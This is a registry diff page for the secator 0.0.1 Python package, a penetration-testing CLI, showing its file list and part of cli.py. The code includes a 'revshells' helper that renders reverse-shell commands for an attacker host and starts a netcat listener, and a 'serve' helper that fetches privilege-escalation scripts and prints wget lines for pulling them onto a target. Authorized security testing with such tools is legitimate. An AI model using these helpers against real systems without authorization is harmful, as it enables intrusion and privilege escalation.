secator 0.0.1__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of secator might be problematic. Click here for more details.
- secator/__init__.py +0 -0
- secator/celery.py +482 -0
- secator/cli.py +617 -0
- secator/config.py +137 -0
- secator/configs/__init__.py +0 -0
- secator/configs/profiles/__init__.py +0 -0
- secator/configs/profiles/aggressive.yaml +7 -0
- secator/configs/profiles/default.yaml +9 -0
- secator/configs/profiles/stealth.yaml +7 -0
- secator/configs/scans/__init__.py +0 -0
- secator/configs/scans/domain.yaml +18 -0
- secator/configs/scans/host.yaml +14 -0
- secator/configs/scans/network.yaml +17 -0
- secator/configs/scans/subdomain.yaml +8 -0
- secator/configs/scans/url.yaml +12 -0
- secator/configs/workflows/__init__.py +0 -0
- secator/configs/workflows/cidr_recon.yaml +28 -0
- secator/configs/workflows/code_scan.yaml +11 -0
- secator/configs/workflows/host_recon.yaml +41 -0
- secator/configs/workflows/port_scan.yaml +34 -0
- secator/configs/workflows/subdomain_recon.yaml +33 -0
- secator/configs/workflows/url_crawl.yaml +29 -0
- secator/configs/workflows/url_dirsearch.yaml +29 -0
- secator/configs/workflows/url_fuzz.yaml +35 -0
- secator/configs/workflows/url_nuclei.yaml +11 -0
- secator/configs/workflows/url_vuln.yaml +55 -0
- secator/configs/workflows/user_hunt.yaml +10 -0
- secator/configs/workflows/wordpress.yaml +14 -0
- secator/decorators.py +309 -0
- secator/definitions.py +165 -0
- secator/exporters/__init__.py +12 -0
- secator/exporters/_base.py +3 -0
- secator/exporters/csv.py +30 -0
- secator/exporters/gdrive.py +118 -0
- secator/exporters/json.py +15 -0
- secator/exporters/table.py +7 -0
- secator/exporters/txt.py +25 -0
- secator/hooks/__init__.py +0 -0
- secator/hooks/mongodb.py +212 -0
- secator/output_types/__init__.py +24 -0
- secator/output_types/_base.py +95 -0
- secator/output_types/exploit.py +50 -0
- secator/output_types/ip.py +33 -0
- secator/output_types/port.py +45 -0
- secator/output_types/progress.py +35 -0
- secator/output_types/record.py +34 -0
- secator/output_types/subdomain.py +42 -0
- secator/output_types/tag.py +46 -0
- secator/output_types/target.py +30 -0
- secator/output_types/url.py +76 -0
- secator/output_types/user_account.py +41 -0
- secator/output_types/vulnerability.py +97 -0
- secator/report.py +107 -0
- secator/rich.py +124 -0
- secator/runners/__init__.py +12 -0
- secator/runners/_base.py +833 -0
- secator/runners/_helpers.py +153 -0
- secator/runners/command.py +638 -0
- secator/runners/scan.py +65 -0
- secator/runners/task.py +106 -0
- secator/runners/workflow.py +135 -0
- secator/serializers/__init__.py +8 -0
- secator/serializers/dataclass.py +33 -0
- secator/serializers/json.py +15 -0
- secator/serializers/regex.py +17 -0
- secator/tasks/__init__.py +10 -0
- secator/tasks/_categories.py +304 -0
- secator/tasks/cariddi.py +102 -0
- secator/tasks/dalfox.py +65 -0
- secator/tasks/dirsearch.py +90 -0
- secator/tasks/dnsx.py +56 -0
- secator/tasks/dnsxbrute.py +34 -0
- secator/tasks/feroxbuster.py +91 -0
- secator/tasks/ffuf.py +86 -0
- secator/tasks/fping.py +44 -0
- secator/tasks/gau.py +47 -0
- secator/tasks/gf.py +33 -0
- secator/tasks/gospider.py +71 -0
- secator/tasks/grype.py +79 -0
- secator/tasks/h8mail.py +81 -0
- secator/tasks/httpx.py +99 -0
- secator/tasks/katana.py +133 -0
- secator/tasks/maigret.py +78 -0
- secator/tasks/mapcidr.py +32 -0
- secator/tasks/msfconsole.py +174 -0
- secator/tasks/naabu.py +52 -0
- secator/tasks/nmap.py +344 -0
- secator/tasks/nuclei.py +97 -0
- secator/tasks/searchsploit.py +52 -0
- secator/tasks/subfinder.py +40 -0
- secator/tasks/wpscan.py +179 -0
- secator/utils.py +445 -0
- secator/utils_test.py +183 -0
- secator-0.0.1.dist-info/LICENSE +60 -0
- secator-0.0.1.dist-info/METADATA +199 -0
- secator-0.0.1.dist-info/RECORD +114 -0
- secator-0.0.1.dist-info/WHEEL +5 -0
- secator-0.0.1.dist-info/entry_points.txt +2 -0
- secator-0.0.1.dist-info/top_level.txt +2 -0
- tests/__init__.py +0 -0
- tests/integration/__init__.py +0 -0
- tests/integration/inputs.py +42 -0
- tests/integration/outputs.py +392 -0
- tests/integration/test_scans.py +82 -0
- tests/integration/test_tasks.py +103 -0
- tests/integration/test_workflows.py +163 -0
- tests/performance/__init__.py +0 -0
- tests/performance/loadtester.py +56 -0
- tests/unit/__init__.py +0 -0
- tests/unit/test_celery.py +39 -0
- tests/unit/test_scans.py +0 -0
- tests/unit/test_serializers.py +51 -0
- tests/unit/test_tasks.py +348 -0
- tests/unit/test_workflows.py +96 -0
secator/cli.py
ADDED
|
@@ -0,0 +1,617 @@
|
|
|
1
|
+
import json
|
|
2
|
+
import os
|
|
3
|
+
import re
|
|
4
|
+
import sys
|
|
5
|
+
|
|
6
|
+
import rich_click as click
|
|
7
|
+
from dotmap import DotMap
|
|
8
|
+
from fp.fp import FreeProxy
|
|
9
|
+
from jinja2 import Template
|
|
10
|
+
from rich.markdown import Markdown
|
|
11
|
+
from rich.rule import Rule
|
|
12
|
+
|
|
13
|
+
from secator.celery import app, is_celery_worker_alive
|
|
14
|
+
from secator.config import ConfigLoader
|
|
15
|
+
from secator.decorators import OrderedGroup, register_runner
|
|
16
|
+
from secator.definitions import (ASCII, CVES_FOLDER, DATA_FOLDER,
|
|
17
|
+
PAYLOADS_FOLDER, ROOT_FOLDER, SCRIPTS_FOLDER)
|
|
18
|
+
from secator.rich import console
|
|
19
|
+
from secator.runners import Command
|
|
20
|
+
from secator.serializers.dataclass import loads_dataclass
|
|
21
|
+
from secator.utils import (debug, detect_host, discover_tasks, find_list_item,
|
|
22
|
+
flatten, print_results_table)
|
|
23
|
+
|
|
24
|
+
click.rich_click.USE_RICH_MARKUP = True
|
|
25
|
+
|
|
26
|
+
ALL_TASKS = discover_tasks()
|
|
27
|
+
ALL_CONFIGS = ConfigLoader.load_all()
|
|
28
|
+
ALL_WORKFLOWS = ALL_CONFIGS.workflow
|
|
29
|
+
ALL_SCANS = ALL_CONFIGS.scan
|
|
30
|
+
DEFAULT_CMD_OPTS = {
|
|
31
|
+
'no_capture': True,
|
|
32
|
+
'print_cmd': True,
|
|
33
|
+
}
|
|
34
|
+
debug('conf', obj=dict(app.conf), obj_breaklines=True, sub='celery.app.conf', level=4)
|
|
35
|
+
debug('registered tasks', obj=list(app.tasks.keys()), obj_breaklines=True, sub='celery.tasks', level=4)
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
#--------#
|
|
39
|
+
# GROUPS #
|
|
40
|
+
#--------#
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
@click.group(cls=OrderedGroup)
|
|
44
|
+
@click.option('--no-banner', '-nb', is_flag=True, default=False)
|
|
45
|
+
def cli(no_banner):
|
|
46
|
+
"""Secator CLI."""
|
|
47
|
+
if not no_banner:
|
|
48
|
+
print(ASCII, file=sys.stderr)
|
|
49
|
+
pass
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
@cli.group(aliases=['x', 't', 'cmd'])
|
|
53
|
+
def task():
|
|
54
|
+
"""Run a task."""
|
|
55
|
+
pass
|
|
56
|
+
|
|
57
|
+
|
|
58
|
+
for cls in ALL_TASKS:
|
|
59
|
+
config = DotMap({'name': cls.__name__})
|
|
60
|
+
register_runner(task, config)
|
|
61
|
+
|
|
62
|
+
|
|
63
|
+
@cli.group(cls=OrderedGroup, aliases=['w', 'wf', 'flow'])
|
|
64
|
+
def workflow():
|
|
65
|
+
"""Run a workflow."""
|
|
66
|
+
pass
|
|
67
|
+
|
|
68
|
+
|
|
69
|
+
for config in sorted(ALL_WORKFLOWS, key=lambda x: x['name']):
|
|
70
|
+
register_runner(workflow, config)
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
@cli.group(cls=OrderedGroup, aliases=['z', 's', 'sc'])
|
|
74
|
+
def scan():
|
|
75
|
+
"""Run a scan."""
|
|
76
|
+
pass
|
|
77
|
+
|
|
78
|
+
|
|
79
|
+
for config in sorted(ALL_SCANS, key=lambda x: x['name']):
|
|
80
|
+
register_runner(scan, config)
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
@cli.group(aliases=['u'])
|
|
84
|
+
def utils():
|
|
85
|
+
"""Utilities."""
|
|
86
|
+
pass
|
|
87
|
+
|
|
88
|
+
|
|
89
|
+
#--------#
|
|
90
|
+
# REPORT #
|
|
91
|
+
#--------#
|
|
92
|
+
|
|
93
|
+
|
|
94
|
+
@cli.group(aliases=['r'])
|
|
95
|
+
def report():
|
|
96
|
+
"""Reports."""
|
|
97
|
+
pass
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
@report.command('show')
|
|
101
|
+
@click.argument('json_path')
|
|
102
|
+
@click.option('-e', '--exclude-fields', type=str, default='', help='List of fields to exclude (comma-separated)')
|
|
103
|
+
def report_show(json_path, exclude_fields):
|
|
104
|
+
"""Show a JSON report as a nicely-formatted table."""
|
|
105
|
+
with open(json_path, 'r') as f:
|
|
106
|
+
report = loads_dataclass(f.read())
|
|
107
|
+
results = flatten(list(report['results'].values()))
|
|
108
|
+
exclude_fields = exclude_fields.split(',')
|
|
109
|
+
print_results_table(
|
|
110
|
+
results,
|
|
111
|
+
title=report['info']['title'],
|
|
112
|
+
exclude_fields=exclude_fields)
|
|
113
|
+
|
|
114
|
+
|
|
115
|
+
#--------#
|
|
116
|
+
# DEPLOY #
|
|
117
|
+
#--------#
|
|
118
|
+
|
|
119
|
+
# TODO: work on this
|
|
120
|
+
# @cli.group(aliases=['d'])
|
|
121
|
+
# def deploy():
|
|
122
|
+
# """Deploy secator."""
|
|
123
|
+
# pass
|
|
124
|
+
|
|
125
|
+
# @deploy.command()
|
|
126
|
+
# def docker_compose():
|
|
127
|
+
# """Deploy secator on docker-compose."""
|
|
128
|
+
# pass
|
|
129
|
+
|
|
130
|
+
# @deploy.command()
|
|
131
|
+
# @click.option('-t', '--target', type=str, default='minikube', help='Deployment target amongst minikube, gke')
|
|
132
|
+
# def k8s():
|
|
133
|
+
# """Deploy secator on Kubernetes."""
|
|
134
|
+
# pass
|
|
135
|
+
|
|
136
|
+
|
|
137
|
+
#--------#
|
|
138
|
+
# WORKER #
|
|
139
|
+
#--------#
|
|
140
|
+
|
|
141
|
+
@cli.command(context_settings=dict(ignore_unknown_options=True))
|
|
142
|
+
@click.option('-n', '--hostname', type=str, default='runner', help='Celery worker hostname (unique).')
|
|
143
|
+
@click.option('-c', '--concurrency', type=int, default=100, help='Number of child processes processing the queue.')
|
|
144
|
+
@click.option('-r', '--reload', is_flag=True, help='Autoreload Celery on code changes.')
|
|
145
|
+
@click.option('-Q', '--queue', type=str, default='', help='Listen to a specific queue.')
|
|
146
|
+
@click.option('-P', '--pool', type=str, default='eventlet', help='Pool implementation.')
|
|
147
|
+
@click.option('--check', is_flag=True, help='Check if Celery worker is alive.')
|
|
148
|
+
@click.option('--dev', is_flag=True, help='Start a worker in dev mode (celery multi).')
|
|
149
|
+
@click.option('--stop', is_flag=True, help='Stop a worker in dev mode (celery multi).')
|
|
150
|
+
@click.option('--show', is_flag=True, help='Show command (celery multi).')
|
|
151
|
+
def worker(hostname, concurrency, reload, queue, pool, check, dev, stop, show):
|
|
152
|
+
"""Celery worker."""
|
|
153
|
+
if check:
|
|
154
|
+
is_celery_worker_alive()
|
|
155
|
+
return
|
|
156
|
+
if not queue:
|
|
157
|
+
queue = 'io,cpu,' + ','.join([r['queue'] for r in app.conf.task_routes.values()])
|
|
158
|
+
app_str = 'secator.celery.app'
|
|
159
|
+
if dev:
|
|
160
|
+
subcmd = 'stop' if stop else 'show' if show else 'start'
|
|
161
|
+
logfile = '%n.log'
|
|
162
|
+
pidfile = '%n.pid'
|
|
163
|
+
queues = '-Q:1 celery -Q:2 io -Q:3 cpu'
|
|
164
|
+
concur = '-c:1 10 -c:2 100 -c:3 4'
|
|
165
|
+
pool = 'eventlet'
|
|
166
|
+
cmd = f'celery -A {app_str} multi {subcmd} 3 {queues} -P {pool} {concur} --logfile={logfile} --pidfile={pidfile}'
|
|
167
|
+
else:
|
|
168
|
+
cmd = f'celery -A {app_str} worker -n {hostname} -Q {queue}'
|
|
169
|
+
if pool:
|
|
170
|
+
cmd += f' -P {pool}'
|
|
171
|
+
if concurrency:
|
|
172
|
+
cmd += f' -c {concurrency}'
|
|
173
|
+
if reload:
|
|
174
|
+
patterns = "celery.py;tasks/*.py;runners/*.py;serializers/*.py;output_types/*.py;hooks/*.py;exporters/*.py"
|
|
175
|
+
cmd = f'watchmedo auto-restart --directory=./ --patterns="{patterns}" --recursive -- {cmd}'
|
|
176
|
+
Command.run_command(
|
|
177
|
+
cmd,
|
|
178
|
+
**DEFAULT_CMD_OPTS
|
|
179
|
+
)
|
|
180
|
+
|
|
181
|
+
|
|
182
|
+
#-------#
|
|
183
|
+
# UTILS #
|
|
184
|
+
#-------#
|
|
185
|
+
|
|
186
|
+
|
|
187
|
+
@utils.command()
|
|
188
|
+
@click.argument('cmds', required=False)
|
|
189
|
+
def install(cmds):
|
|
190
|
+
"""Install secator-supported commands."""
|
|
191
|
+
if cmds is not None:
|
|
192
|
+
cmds = cmds.split(',')
|
|
193
|
+
cmds = [cls for cls in ALL_TASKS if cls.__name__ in cmds]
|
|
194
|
+
else:
|
|
195
|
+
cmds = ALL_TASKS
|
|
196
|
+
for ix, cls in enumerate(cmds):
|
|
197
|
+
with console.status(f'[bold yellow][{ix}/{len(cmds)}] Installing {cls.__name__} ...'):
|
|
198
|
+
cls.install()
|
|
199
|
+
console.print()
|
|
200
|
+
|
|
201
|
+
|
|
202
|
+
@utils.command()
|
|
203
|
+
@click.option('--timeout', type=float, default=0.2, help='Proxy timeout (in seconds)')
|
|
204
|
+
@click.option('--number', '-n', type=int, default=1, help='Number of proxies')
|
|
205
|
+
def get_proxy(timeout, number):
|
|
206
|
+
"""Get a random proxy."""
|
|
207
|
+
proxy = FreeProxy(timeout=timeout, rand=True, anonym=True)
|
|
208
|
+
for _ in range(number):
|
|
209
|
+
url = proxy.get()
|
|
210
|
+
print(url)
|
|
211
|
+
|
|
212
|
+
|
|
213
|
+
@utils.command()
|
|
214
|
+
@click.option('--force', is_flag=True)
|
|
215
|
+
def download_cves(force):
|
|
216
|
+
"""Download CVEs to file system. CVE lookup perf is improved quite a lot."""
|
|
217
|
+
cve_json_path = f'{DATA_FOLDER}/circl-cve-search-expanded.json'
|
|
218
|
+
if not os.path.exists(cve_json_path) or force:
|
|
219
|
+
Command.run_command(
|
|
220
|
+
'wget https://cve.circl.lu/static/circl-cve-search-expanded.json.gz',
|
|
221
|
+
cwd=DATA_FOLDER,
|
|
222
|
+
**DEFAULT_CMD_OPTS
|
|
223
|
+
)
|
|
224
|
+
Command.run_command(
|
|
225
|
+
f'gunzip {DATA_FOLDER}/circl-cve-search-expanded.json.gz',
|
|
226
|
+
cwd=DATA_FOLDER,
|
|
227
|
+
**DEFAULT_CMD_OPTS
|
|
228
|
+
)
|
|
229
|
+
os.makedirs(CVES_FOLDER, exist_ok=True)
|
|
230
|
+
with console.status('[bold yellow]Saving CVEs to disk ...[/]'):
|
|
231
|
+
with open(f'{DATA_FOLDER}/circl-cve-search-expanded.json', 'r') as f:
|
|
232
|
+
for line in f:
|
|
233
|
+
data = json.loads(line)
|
|
234
|
+
cve_id = data['id']
|
|
235
|
+
cve_path = f'{DATA_FOLDER}/cves/{cve_id}.json'
|
|
236
|
+
with open(cve_path, 'w') as f:
|
|
237
|
+
f.write(line)
|
|
238
|
+
console.print(f'CVE saved to {cve_path}')
|
|
239
|
+
|
|
240
|
+
|
|
241
|
+
@utils.command()
|
|
242
|
+
def generate_bash_install():
|
|
243
|
+
"""Generate bash install script for all secator-supported tasks."""
|
|
244
|
+
path = ROOT_FOLDER + '/scripts/install_commands.sh'
|
|
245
|
+
with open(path, 'w') as f:
|
|
246
|
+
f.write('#!/bin/bash\n\n')
|
|
247
|
+
for task in ALL_TASKS:
|
|
248
|
+
if task.install_cmd:
|
|
249
|
+
f.write(f'# {task.__name__}\n')
|
|
250
|
+
f.write(task.install_cmd + ' || true' + '\n\n')
|
|
251
|
+
Command.run_command(
|
|
252
|
+
f'chmod +x {path}',
|
|
253
|
+
**DEFAULT_CMD_OPTS
|
|
254
|
+
)
|
|
255
|
+
console.print(f':file_cabinet: [bold green]Saved install script to {path}[/]')
|
|
256
|
+
|
|
257
|
+
|
|
258
|
+
@utils.command()
|
|
259
|
+
def enable_aliases():
|
|
260
|
+
"""Enable aliases."""
|
|
261
|
+
aliases = []
|
|
262
|
+
aliases.extend([
|
|
263
|
+
f'alias {task.__name__}="secator x {task.__name__}"'
|
|
264
|
+
for task in ALL_TASKS
|
|
265
|
+
])
|
|
266
|
+
aliases.extend([
|
|
267
|
+
f'alias {workflow.alias}="secator w {workflow.name}"'
|
|
268
|
+
for workflow in ALL_WORKFLOWS
|
|
269
|
+
])
|
|
270
|
+
aliases.extend([
|
|
271
|
+
f'alias {workflow.name}="secator w {workflow.name}"'
|
|
272
|
+
for workflow in ALL_WORKFLOWS
|
|
273
|
+
])
|
|
274
|
+
aliases.extend([
|
|
275
|
+
f'alias scan_{scan.name}="secator s {scan.name}"'
|
|
276
|
+
for scan in ALL_SCANS
|
|
277
|
+
])
|
|
278
|
+
aliases.append('alias listx="secator x"')
|
|
279
|
+
aliases.append('alias listw="secator w"')
|
|
280
|
+
aliases.append('alias lists="secator s"')
|
|
281
|
+
aliases_str = '\n'.join(aliases)
|
|
282
|
+
|
|
283
|
+
fpath = f'{DATA_FOLDER}/.aliases'
|
|
284
|
+
with open(fpath, 'w') as f:
|
|
285
|
+
f.write(aliases_str)
|
|
286
|
+
console.print('Aliases:')
|
|
287
|
+
for alias in aliases:
|
|
288
|
+
alias_split = alias.split('=')
|
|
289
|
+
alias_name, alias_cmd = alias_split[0].replace('alias ', ''), alias_split[1].replace('"', '')
|
|
290
|
+
console.print(f'[bold magenta]{alias_name:<15}-> {alias_cmd}')
|
|
291
|
+
|
|
292
|
+
console.print(f':file_cabinet: Alias file written to {fpath}', style='bold green')
|
|
293
|
+
console.print('To load the aliases, run:')
|
|
294
|
+
md = f"""
|
|
295
|
+
```sh
|
|
296
|
+
source {fpath} # load the aliases in the current shell
|
|
297
|
+
echo "source {fpath} >> ~/.bashrc" # or add this line to your ~/.bashrc to load them automatically
|
|
298
|
+
```
|
|
299
|
+
"""
|
|
300
|
+
console.print(Markdown(md))
|
|
301
|
+
console.print()
|
|
302
|
+
|
|
303
|
+
|
|
304
|
+
@utils.command()
|
|
305
|
+
def disable_aliases():
|
|
306
|
+
"""Disable aliases."""
|
|
307
|
+
for task in ALL_TASKS:
|
|
308
|
+
Command.run_command(f'unalias {task.name}', cls_attributes={'shell': True})
|
|
309
|
+
|
|
310
|
+
|
|
311
|
+
@utils.command()
|
|
312
|
+
@click.argument('name', type=str, default=None, required=False)
|
|
313
|
+
@click.option('--host', '-h', type=str, default=None, help='Specify LHOST for revshell, otherwise autodetected.')
|
|
314
|
+
@click.option('--port', '-p', type=int, default=9001, show_default=True, help='Specify PORT for revshell')
|
|
315
|
+
@click.option('--interface', '-i', type=str, help='Interface to use to detect IP')
|
|
316
|
+
@click.option('--listen', '-l', is_flag=True, default=False, help='Spawn netcat listener on specified port')
|
|
317
|
+
def revshells(name, host, port, interface, listen):
|
|
318
|
+
"""Show reverse shell source codes and run netcat listener."""
|
|
319
|
+
if host is None: # detect host automatically
|
|
320
|
+
host = detect_host(interface)
|
|
321
|
+
if not host:
|
|
322
|
+
console.print(
|
|
323
|
+
f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of available interfaces.',
|
|
324
|
+
style='bold red')
|
|
325
|
+
return
|
|
326
|
+
|
|
327
|
+
with open(f'{SCRIPTS_FOLDER}/revshells.json') as f:
|
|
328
|
+
shells = json.loads(f.read())
|
|
329
|
+
for sh in shells:
|
|
330
|
+
sh['alias'] = '_'.join(sh['name'].lower()
|
|
331
|
+
.replace('-c', '')
|
|
332
|
+
.replace('-e', '')
|
|
333
|
+
.replace('-i', '')
|
|
334
|
+
.replace('c#', 'cs')
|
|
335
|
+
.replace('#', '')
|
|
336
|
+
.replace('(', '')
|
|
337
|
+
.replace(')', '')
|
|
338
|
+
.strip()
|
|
339
|
+
.split(' ')).replace('_1', '')
|
|
340
|
+
cmd = re.sub(r"\s\s+", "", sh.get('command', ''), flags=re.UNICODE)
|
|
341
|
+
cmd = cmd.replace('\n', ' ')
|
|
342
|
+
sh['cmd_short'] = (cmd[:30] + '..') if len(cmd) > 30 else cmd
|
|
343
|
+
|
|
344
|
+
shell = [
|
|
345
|
+
shell for shell in shells if shell['name'] == name or shell['alias'] == name
|
|
346
|
+
]
|
|
347
|
+
if not shell:
|
|
348
|
+
console.print('Available shells:', style='bold yellow')
|
|
349
|
+
shells_str = [
|
|
350
|
+
'[bold magenta]{alias:<20}[/][dim white]{name:<20}[/][dim gold3]{cmd_short:<20}[/]'.format(**sh)
|
|
351
|
+
for sh in shells
|
|
352
|
+
]
|
|
353
|
+
console.print('\n'.join(shells_str))
|
|
354
|
+
else:
|
|
355
|
+
shell = shell[0]
|
|
356
|
+
command = shell['command']
|
|
357
|
+
alias = shell['alias']
|
|
358
|
+
name = shell['name']
|
|
359
|
+
command_str = Template(command).render(ip=host, port=port, shell='bash')
|
|
360
|
+
console.print(Rule(f'[bold gold3]{alias}[/] - [bold red]{name} REMOTE SHELL', style='bold red', align='left'))
|
|
361
|
+
lang = shell.get('lang') or 'sh'
|
|
362
|
+
if len(command.splitlines()) == 1:
|
|
363
|
+
console.print()
|
|
364
|
+
print(f'\033[0;36m{command_str}')
|
|
365
|
+
else:
|
|
366
|
+
md = Markdown(f'```{lang}\n{command_str}\n```')
|
|
367
|
+
console.print(md)
|
|
368
|
+
console.print(f'Save this script as rev.{lang} and run it on your target', style='dim italic')
|
|
369
|
+
console.print()
|
|
370
|
+
console.print(Rule(style='bold red'))
|
|
371
|
+
|
|
372
|
+
if listen:
|
|
373
|
+
console.print(f'Starting netcat listener on port {port} ...', style='bold gold3')
|
|
374
|
+
cmd = f'nc -lvnp {port}'
|
|
375
|
+
Command.run_command(
|
|
376
|
+
cmd,
|
|
377
|
+
**DEFAULT_CMD_OPTS
|
|
378
|
+
)
|
|
379
|
+
|
|
380
|
+
|
|
381
|
+
@utils.command()
|
|
382
|
+
@click.option('--directory', '-d', type=str, default=PAYLOADS_FOLDER, show_default=True, help='HTTP server directory')
|
|
383
|
+
@click.option('--host', '-h', type=str, default=None, help='HTTP host')
|
|
384
|
+
@click.option('--port', '-p', type=int, default=9001, help='HTTP server port')
|
|
385
|
+
@click.option('--interface', '-i', type=str, default=None, help='Interface to use to auto-detect host IP')
|
|
386
|
+
def serve(directory, host, port, interface):
|
|
387
|
+
"""Serve payloads in HTTP server."""
|
|
388
|
+
LSE_URL = 'https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh'
|
|
389
|
+
LINPEAS_URL = 'https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh'
|
|
390
|
+
SUDOKILLER_URL = 'https://raw.githubusercontent.com/TH3xACE/SUDO_KILLER/master/SUDO_KILLERv2.4.2.sh'
|
|
391
|
+
PAYLOADS = [
|
|
392
|
+
{
|
|
393
|
+
'fname': 'lse.sh',
|
|
394
|
+
'description': 'Linux Smart Enumeration',
|
|
395
|
+
'command': f'wget {LSE_URL} -O lse.sh && chmod 700 lse.sh'
|
|
396
|
+
},
|
|
397
|
+
{
|
|
398
|
+
'fname': 'linpeas.sh',
|
|
399
|
+
'description': 'Linux Privilege Escalation Awesome Script',
|
|
400
|
+
'command': f'wget {LINPEAS_URL} -O linpeas.sh && chmod 700 linpeas.sh'
|
|
401
|
+
},
|
|
402
|
+
{
|
|
403
|
+
'fname': 'sudo_killer.sh',
|
|
404
|
+
'description': 'SUDO_KILLER',
|
|
405
|
+
'command': f'wget {SUDOKILLER_URL} -O sudo_killer.sh && chmod 700 sudo_killer.sh'
|
|
406
|
+
}
|
|
407
|
+
]
|
|
408
|
+
for ix, payload in enumerate(PAYLOADS):
|
|
409
|
+
descr = payload.get('description', '')
|
|
410
|
+
fname = payload['fname']
|
|
411
|
+
if not os.path.exists(f'{directory}/{fname}'):
|
|
412
|
+
with console.status(f'[bold yellow][{ix}/{len(PAYLOADS)}] Downloading {fname} [dim]({descr})[/] ...[/]'):
|
|
413
|
+
cmd = payload['command']
|
|
414
|
+
console.print(f'[bold magenta]{fname} [dim]({descr})[/] ...[/]', )
|
|
415
|
+
opts = DEFAULT_CMD_OPTS.copy()
|
|
416
|
+
opts['no_capture'] = False
|
|
417
|
+
Command.run_command(
|
|
418
|
+
cmd,
|
|
419
|
+
cls_attributes={'shell': True},
|
|
420
|
+
cwd=directory,
|
|
421
|
+
**opts
|
|
422
|
+
)
|
|
423
|
+
console.print()
|
|
424
|
+
|
|
425
|
+
console.print(Rule())
|
|
426
|
+
console.print(f'Available payloads in {directory}: ', style='bold yellow')
|
|
427
|
+
opts = DEFAULT_CMD_OPTS.copy()
|
|
428
|
+
opts['print_cmd'] = False
|
|
429
|
+
for fname in os.listdir(directory):
|
|
430
|
+
if not host:
|
|
431
|
+
host = detect_host(interface)
|
|
432
|
+
if not host:
|
|
433
|
+
console.print(
|
|
434
|
+
f'Interface "{interface}" could not be found. Run "ifconfig" to see the list of interfaces.',
|
|
435
|
+
style='bold red')
|
|
436
|
+
return
|
|
437
|
+
payload = find_list_item(PAYLOADS, fname, key='fname', default={})
|
|
438
|
+
fdescr = payload.get('description', 'No description')
|
|
439
|
+
console.print(f'{fname} [dim]({fdescr})[/]', style='bold magenta')
|
|
440
|
+
console.print(f'wget http://{host}:{port}/{fname}', style='dim italic')
|
|
441
|
+
console.print('')
|
|
442
|
+
console.print(Rule())
|
|
443
|
+
console.print('Starting HTTP server ...', style='bold yellow')
|
|
444
|
+
Command.run_command(
|
|
445
|
+
f'python -m http.server {port}',
|
|
446
|
+
cwd=directory,
|
|
447
|
+
**DEFAULT_CMD_OPTS
|
|
448
|
+
)
|
|
449
|
+
|
|
450
|
+
|
|
451
|
+
@utils.command()
|
|
452
|
+
@click.argument('record_name', type=str, default=None)
|
|
453
|
+
@click.option('--script', '-s', type=str, default=None, help='Script to run. See scripts/stories/ for examples.')
|
|
454
|
+
@click.option('--interactive', '-i', is_flag=True, default=False, help='Interactive record.')
|
|
455
|
+
@click.option('--width', '-w', type=int, default=None, help='Recording width')
|
|
456
|
+
@click.option('--height', '-h', type=int, default=None, help='Recording height')
|
|
457
|
+
@click.option('--output-dir', type=str, default=f'{ROOT_FOLDER}/images')
|
|
458
|
+
def record(record_name, script, interactive, width, height, output_dir):
|
|
459
|
+
"""Record secator session using asciinema."""
|
|
460
|
+
# 120 x 30 is a good ratio for GitHub
|
|
461
|
+
width = width or console.size.width
|
|
462
|
+
height = height or console.size.height
|
|
463
|
+
attrs = {
|
|
464
|
+
'shell': False,
|
|
465
|
+
'env': {
|
|
466
|
+
'RECORD': '1',
|
|
467
|
+
'LINES': str(height),
|
|
468
|
+
'PS1': '$ ',
|
|
469
|
+
'COLUMNS': str(width),
|
|
470
|
+
'TERM': 'xterm-256color'
|
|
471
|
+
}
|
|
472
|
+
}
|
|
473
|
+
output_cast_path = f'{output_dir}/{record_name}.cast'
|
|
474
|
+
output_gif_path = f'{output_dir}/{record_name}.gif'
|
|
475
|
+
|
|
476
|
+
# Run automated 'story' script with asciinema-automation
|
|
477
|
+
if script:
|
|
478
|
+
# If existing cast file, remove it
|
|
479
|
+
if os.path.exists(output_cast_path):
|
|
480
|
+
os.unlink(output_cast_path)
|
|
481
|
+
console.print(f'Removed existing {output_cast_path}', style='bold green')
|
|
482
|
+
|
|
483
|
+
with console.status('[bold gold3]Recording with asciinema ...[/]'):
|
|
484
|
+
Command.run_command(
|
|
485
|
+
f'asciinema-automation -aa "-c /bin/sh" {script} {output_cast_path} --timeout 200',
|
|
486
|
+
cls_attributes=attrs,
|
|
487
|
+
raw=True,
|
|
488
|
+
**DEFAULT_CMD_OPTS,
|
|
489
|
+
)
|
|
490
|
+
console.print(f'Generated {output_cast_path}', style='bold green')
|
|
491
|
+
elif interactive:
|
|
492
|
+
os.environ.update(attrs['env'])
|
|
493
|
+
Command.run_command(
|
|
494
|
+
f'asciinema rec -c /bin/bash --stdin --overwrite {output_cast_path}',
|
|
495
|
+
)
|
|
496
|
+
|
|
497
|
+
# Resize cast file
|
|
498
|
+
if os.path.exists(output_cast_path):
|
|
499
|
+
with console.status('[bold gold3]Cleaning up .cast and set custom settings ...'):
|
|
500
|
+
with open(output_cast_path, 'r') as f:
|
|
501
|
+
lines = f.readlines()
|
|
502
|
+
updated_lines = []
|
|
503
|
+
for ix, line in enumerate(lines):
|
|
504
|
+
tmp_line = json.loads(line)
|
|
505
|
+
if ix == 0:
|
|
506
|
+
tmp_line['width'] = width
|
|
507
|
+
tmp_line['height'] = height
|
|
508
|
+
tmp_line['env']['SHELL'] = '/bin/sh'
|
|
509
|
+
lines[0] = json.dumps(tmp_line) + '\n'
|
|
510
|
+
updated_lines.append(json.dumps(tmp_line) + '\n')
|
|
511
|
+
elif tmp_line[2].endswith(' \r'):
|
|
512
|
+
tmp_line[2] = tmp_line[2].replace(' \r', '')
|
|
513
|
+
updated_lines.append(json.dumps(tmp_line) + '\n')
|
|
514
|
+
else:
|
|
515
|
+
updated_lines.append(line)
|
|
516
|
+
with open(output_cast_path, 'w') as f:
|
|
517
|
+
f.writelines(updated_lines)
|
|
518
|
+
console.print('')
|
|
519
|
+
|
|
520
|
+
